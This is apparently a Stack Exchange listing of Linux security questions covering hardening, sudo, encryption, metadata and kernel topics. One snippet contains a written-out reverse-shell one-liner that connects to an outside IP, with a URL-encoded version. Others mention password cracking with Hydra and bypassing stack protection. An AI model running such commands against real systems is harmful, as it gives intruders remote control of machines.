Questions tagged [linux]
Securing Linux systems and applications; understanding Linux security features.
2,022
questions
2
votes
1
answer
89
views
Where to store the password: in RAM or another user's home folder (Linux)
There is user1 and user2. All work is done from under user1. user2 is only created to store important information.
If important information is stored in RAM, but in the session of user1, which is ...
- 25
-2
votes
0
answers
29
views
Linux kernel version 4.x [closed]
I'm applying for a Linux developer job. One of the questions is: "What linux distro uses version 4.X (specifically, version 4.4x)?"
0
votes
0
answers
9
views
Grep reversed hostnames from the file [migrated]
I have a big file containing reversed hostnames like,
com.example
au.test
uk.follow
org.dev
io.github
nl.payper
How can I grep all the hostnames
From com.example to example.com
Or nl.payper to payper....
- 57
2
votes
0
answers
36
views
Why I am unable to execute insmod on the docker container?
I have started an unprivileged docker container and trying to start the privileged exec session. It has CAP_SYS_MODULE capabilities, but still, I am getting operations not permitted in insmod.
docker ...
- 121
2
votes
1
answer
55
views
Linux access control policies sudoers
I'm learning about linux hardening and I'm creating a sudoers file. My idea is to separate things. There will be a user to see log files, another that can sudo to manage system processes, another for ...
- 21
0
votes
0
answers
38
views
Headers X-XSS-Protection issue
I want to clear my doubt that Is there any issues coming from adding 'Strict-Transport-Security' and 'X-XSS-Protection' headers ?
Header set Strict-Transport-Security "max-age=10886400;
Header ...
0
votes
0
answers
24
views
Resources for learning the fundamental principles of OS hardening (and how to test) [closed]
I was recently added ("tossed" is perhaps a better term) to a project that dabbles in the world of cybersecurity. My employer gave me the task testing a server our company is developing ...
0
votes
0
answers
66
views
Encrypt SVN for passwords
Could anyone give me advice on the best way to encrypt the SVN version control system on a Amazon Linux 2 instance? I am planning to encrypt or disable the SVN from asking if unencrypted passwords ...
- 1
0
votes
0
answers
38
views
Ways to bypass stack protection
I'm on my journey to binary explotation, and it seems that at the time "Art of Exploitation" was written, things related to stack protection have been changed. Only after using -fno-stack-...
0
votes
0
answers
22
views
File traversal vulnerability found on Ubuntu server running a node process using Nessus
I have an Ubuntu server running a normal Node express framework app and a vulnerability was found by a tool called Nessus.
It looks like a pretty standard issue to me, and I will have shell access, ...
- 101
3
votes
0
answers
116
views
What are the dangers of using mainstream Linux distributions? [closed]
Niche Linux distributions can/may introduce risks such as lack of updates, limited community attention and reduced testing.
Ubuntu, openSUSE and Fedora can be considered mainstream. Mainstream ...
- 301
15
votes
2
answers
2k
views
What are the dangers of using niche Linux distributions?
Ubuntu, openSUSE and Fedora can be considered mainstream. In comparison distributions such as Solus, MX Linux, antiX, Void and others could be classed as niche.
Mainstream distributions are typically ...
- 301
3
votes
2
answers
174
views
Privilege escalation through arbitrary file delete
Assuming that I can delete arbitrary files on a linux system as a non-privileged user, what methods exist to escalate my privileges this way?
- 53
0
votes
0
answers
44
views
How does ASLR work [duplicate]
I have read about ASLR and understand that it randomizes the location in memory where an executable is loaded every time it is run.
But I have a doubt, take an example of an elf executable. It tells ...
- 1
0
votes
1
answer
85
views
safely storing untrusted files on a trusted machine
given a collection of files (text and binary) that are likely to have been modified by a resourceful and motivated adversary in a targeted attack, is there a security risk to copying that collection ...
- 1
0
votes
2
answers
59
views
Lab environment, allow ssh version 1
When trying to access a Cisco VM router in a GNS3 environment I'm getting the error: SSH protocol v.1 is no longer supported when I'm using the command sshpass -p Cisco ssh Cisco@192.168.224.7 -1.
I ...
22
votes
2
answers
4k
views
What metadata from the Linux file system is in my uploaded photos?
Before uploading a photo or image to a forum, I may typically strip the metadata to remove identifying material with exiftool. The thing is, the Linux file system itself seems to leave some metadata ...
- 357
3
votes
0
answers
97
views
When using VirtualBox, is it better to use the VirtualBox encryption or the OS disk encryption?
VirtualBox has an option to encrypt the drive of a VM.
When I installed Debian or Ubuntu, I have the option to say that I want the full disk encrypted.
I'm thinking that both do pretty much the same ...
- 872
0
votes
1
answer
32
views
Does adding a new user (instead of just using root) help WSL2 security?
Does adding a non-root user do anything except hinder your own ability to make mistakes? Given the new updates on file perms in WSL2 (docs on file perms, more docs), doing everything as root on linux ...
- 1,128
0
votes
0
answers
42
views
Is there a configuration which would have prevented the recent Firefox vulnerability mfsa2022-09?
Recently, some critical vulnerabilities, mfsa2022-09 were discovered in Firefox.
Can someone tell if there is any configuration in Linux or Firefox that could have prevented an exploitation of this ...
- 127
0
votes
0
answers
18
views
How To First Strip and Then Sign Kernel Modules at Complie Time
It seems easy to sign kernel modules at compile time. Apparently, you just set CONFIG_MODULE_SIG_ALL=y in your .config file and then the compiler will perhaps give you the appropriate errors until you ...
- 113
0
votes
0
answers
30
views
TCP SYN/ACK on INPUT vs FORWARD
Are there any legitimate circumstances under which TCP SYN+ACK packets would arrive at a Linux firewall's INPUT chain, if it did not leave via the OUTPUT chain?
That is, am I correct in assuming that ...
- 111
0
votes
0
answers
14
views
How to pipe a character set on hydra [duplicate]
How to pipe a characterset to Hydra.
Something like this which can be done on hashcat
(crunch 8 8 123456789| hashcat -m 0 ce5cff0195a6b059a32411b6202ab49)
0
votes
1
answer
35
views
Is it possible to spoof a service running on a port in Ubuntu?
I was looking into the idea of port spoofing, and I came across this
GitHub repository. I'm mainly looking to disguise my computer as something else, whereas this program opens every TCP port and ...
- 41
0
votes
0
answers
75
views
Hash-Based Technique to Detect Ransomware Corruption on the Fly?
I have developed an Excel spreadsheet to compare lists of SHA-512 hashes from two separate drives. One drive is the source data drive on a Windows machine. The other is a backup of that drive, ...
- 113
1
vote
1
answer
73
views
Security difference between changing permissions versus using sudo to execute
If there is a program written by a normal user that requires root privileges (eg. a program that interacts with root processes) what is the difference between running this program using sudo vs. ...
- 11
2
votes
1
answer
33
views
ld.so Secure-execution mode a valid mitigation for polkit CVE-2021-4034?
I was browsing the ld.so man page and I saw an entry about Secure-Execution mode:
**Secure-execution mode**
For security reasons, if the dynamic linker determines that a binary
should ...
- 21
0
votes
2
answers
66
views
Can openssl client be used for checking if the server key size is what is expected?
I was wondering if it is possible for openssl to check the server public key size. Currently, I am connecting to the server using:
openssl s_client -connect "ip address":"port" -...
- 31
1
vote
1
answer
86
views
How does gVisor run its own kernel replacement under Docker for security? [closed]
I learned about gVisor from https://security.stackexchange.com/a/259275/133925 . It runs containers under a custom kernel, written in Go, with very intense security.
My question is: The whole point ...
- 245
2
votes
1
answer
116
views
Avoid stack addresses containing zeros
I'm learning some hacking with Erickson's "The Art of Explotation". To try out the exploits myself, I'm using C on a virtual maching with 32-bit Debian on my windows laptop (in VirtualBox).
...
- 131
6
votes
1
answer
238
views
Why is the mount option "hidepid=2" not used by default, is there a danger in using it?
While searching for an answer to the question "how to hide command arguments from ps/proc etc", I came across the hidepid mount option, which hides a user's own processes from another user (...
- 635
2
votes
0
answers
2k
views
What exactly is the pkexec bug and how to patch it on CentOS 7? [closed]
There is bug in pkexec program, CVE-2021-4034, which when exploited allows access to root shell.
Is the best way to fix an unpatched CentOS 7 server to just apply the temporary fix of running chmod ...
- 192
1
vote
0
answers
41
views
Does flatpak enforce cryptographic authentication and integrity validation by default for all packages? (fedora)
Does the flatpak package manager in Fedora-based systems require successful cryptographic authentication and integrity validation for all packages?
I know that software downloaded with apt-get ...
- 806
0
votes
0
answers
80
views
Using GPG from another user (GNU/Linux)
I want to use gpg from another user (user2), so that the primary user (user1) does not have access to the encrypted file, but only to the part the script will output.
Added a sudo rule for user1 to ...
- 635
0
votes
0
answers
30
views
Weird Problem with Virtual Machine and Comodo
I am new to this forum and I have the following issue:
Some days ago, I clicked on a pop up-window in my Linux-VM that said I need to Update some features or so ... after I clicked "Okay", ...
- 1
18
votes
5
answers
7k
views
Is it really safe to pass sensitive data to another script via stdin, compared to passing via arguments (Linux)
Yes, the transfer to the script via arguments is visible through ps -ax, /proc/<pid>/cmdline etc., BUT if someone has already gained access to your account from the outside (e.g. by hacking your ...
- 635
0
votes
0
answers
53
views
Red Hat Password Security Settings(/etc/pam.d/system-auth, /etc/login.defs)
I'm doing Red Hat (RHEL 6.5) security settings.
If I set up the two files as shown below, is there no security effect on each other?
/etc/pam.d/system-auth
password requisite pam_cracklib.so retry=3 ...
1
vote
0
answers
74
views
Use side-channel attack to steal file with permission 600? [closed]
Alice and Bob are on the same file system. Alice made a spam filter plugin, which reads /tmp/mail and then writes the report to /tmp/report. The /tmp/mail has permission 400 and /tmp/report has ...
- 113
0
votes
1
answer
83
views
Loop device added at package installation - is it a security threat?
I just noticed a strange loop device that was added to my machine today.
It is mounted under /run/media/<user>/CENA_X86FREE_EN-US_DV9 and seems to contain Windows files, probably a Windows ...
- 422
2
votes
1
answer
171
views
Usage of TPM PCRs in Linux
Where can I find the list of what each PCR "represents" in the TPM for a Linux OS? The official guide I found (https://trustedcomputinggroup.org/wp-content/uploads/...
- 121
27
votes
5
answers
9k
views
Why do I need the root password when mounting an internal drive in Linux?
What is this restriction for in terms of safety? And when connecting external drives via USB, the root password is not required. I can't understand the logic.
I use the following rule in the fstab to ...
- 635
4
votes
1
answer
746
views
Why does VPN forbid unrelated user logins on client machine?
Not looking for any solutions here, just explanation. I work remotely for a university in another state; they supply a proprietary VPN to connect to their network. I work on a Ubuntu machine and for ...
- 43
0
votes
1
answer
155
views
Is AppArmor used in production environments? [closed]
I was recently having a conversation with a friend about his server system (he does a lot of self-hosting) and he mentioned he was in the middle of configuring SELinux. I was curious about the ...
- 103
2
votes
1
answer
72
views
Child processes vs microservices for communication between components
This is a question for operating system security experts.
We have an application using one platform/language, and it has to integrate with a library that uses another platform/language. There is no ...
- 234
0
votes
1
answer
79
views
Why I can't perform buffer overflow directly from bash
Maybe is a silly question but I can't understand exactly why this type of buffer overflow does not work...
Let's me explain with an example.
Suppose we have a program written in c.
This program has 2 ...
- 3
2
votes
1
answer
54
views
Does yum enforce cryptographic authentication and integrity validation by default for all packages? (CentOS, RHEL)
Does the yum package manager in CentOS/RHEL-based systems require successful cryptographic authentication and integrity validation for all packages?
I know that software downloaded with apt-get ...
- 806
0
votes
0
answers
84
views
sh reverse shell used to work as of an hour ago but nowthe server returns 500 Internal Server Error. Please take a look at my GET request and response
This is the reverse shell I'm using: sh -i >& /dev/tcp/10.10.14.106/3000 0>&1 and URL encoded is sh+-i+>%26+/dev/tcp/10.10.XX.XX/3000+0>%261+
It used to work just fine and I'd ...
- 1
2
votes
1
answer
125
views
Why is sudo's usage of timestamp files insecure?
Sudo and Opendoas on Linux use timestamp files to keep track of how long it's been since you've last entered your password. Doas on BSD uses a kernel feature instead.
Why is the latter considered more ...
- 23
1
vote
1
answer
113
views
Is it possible to recover data from a bricked smartphone?
I have a smartphone that got bricked last year without warning, and it was deemed unrepairable by multiple repair centers. I did have personal stuff on it.
If I recycle this phone, can someone down ...
0
votes
0
answers
47
views
Could my Windows 7 VM access my network and perhaps my host internet history or data?
I have a Windows 7 Pro VM running on an Ubuntu 20.04 host. I'm a bit new to VirtualBox and set up the VM but it was too slow to do anything so I took a snapshot and closed it. I think my Ubuntu host ...
- 23